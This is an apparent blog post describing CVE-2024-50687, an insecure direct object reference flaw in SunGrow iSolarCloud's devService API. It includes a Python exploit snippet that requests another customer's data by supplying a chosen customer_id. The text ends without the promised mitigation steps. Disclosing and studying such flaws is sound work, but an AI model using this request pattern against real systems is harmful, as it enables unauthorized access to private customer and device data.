CVE-2024-50687: SunGrow iSolarCloud Insecure Direct Object References (IDOR) in devService API Model

In this post, we will delve into the details of a critical security vulnerability that affects SunGrow iSolarCloud, a popular platform for managing solar power generation systems. The vulnerability, identified as CVE-2024-50687, falls under the category of insecure direct object references (IDOR) and exists in the devService API model. This weakness could allow attackers to gain unauthorized access to sensitive data and perform malicious actions on the system.

This vulnerability impacts versions of SunGrow iSolarCloud before the October 31, 2024 remediation. In this post, we will provide the details of the exploit, including code snippets, references to the original sources, and specific instructions on how to protect your solar energy infrastructure against this security threat.

Vulnerability Details

Insecure direct object references (IDOR) occur when an application exposes sensitive information without proper authorization mechanisms. This security vulnerability allows malicious actors to perform unauthorized actions on a system by directly referencing the internal implementation objects.

The devService API model of SunGrow iSolarCloud is affected by IDOR, which enables hackers to compromise sensitive data and user accounts on the platform. Attackers can exploit the vulnerability to gain unauthorized access to protected information by manipulating specific parameters in the API request.

Exploit Code Snippet

The following code snippet demonstrates an example of how the vulnerability can be exploited using Python. This example assumes that the attacker has knowledge of a valid customer_id, which can be used to access sensitive data.

import requests

target_url = "https://example.com/api/devService";
customer_id = "123456"  # Replace with a known customer_id
api_key = "your_api_key"  # Replace with your actual API key

headers = {"Authorization": f"Bearer {api_key}"}
params = {"customer_id": customer_id}

response = requests.get(target_url, headers=headers, params=params)

if response.status_code == 200:
    print("Success!")
    print(response.json())
else:
    print(f"Failed with status code {response.status_code}")
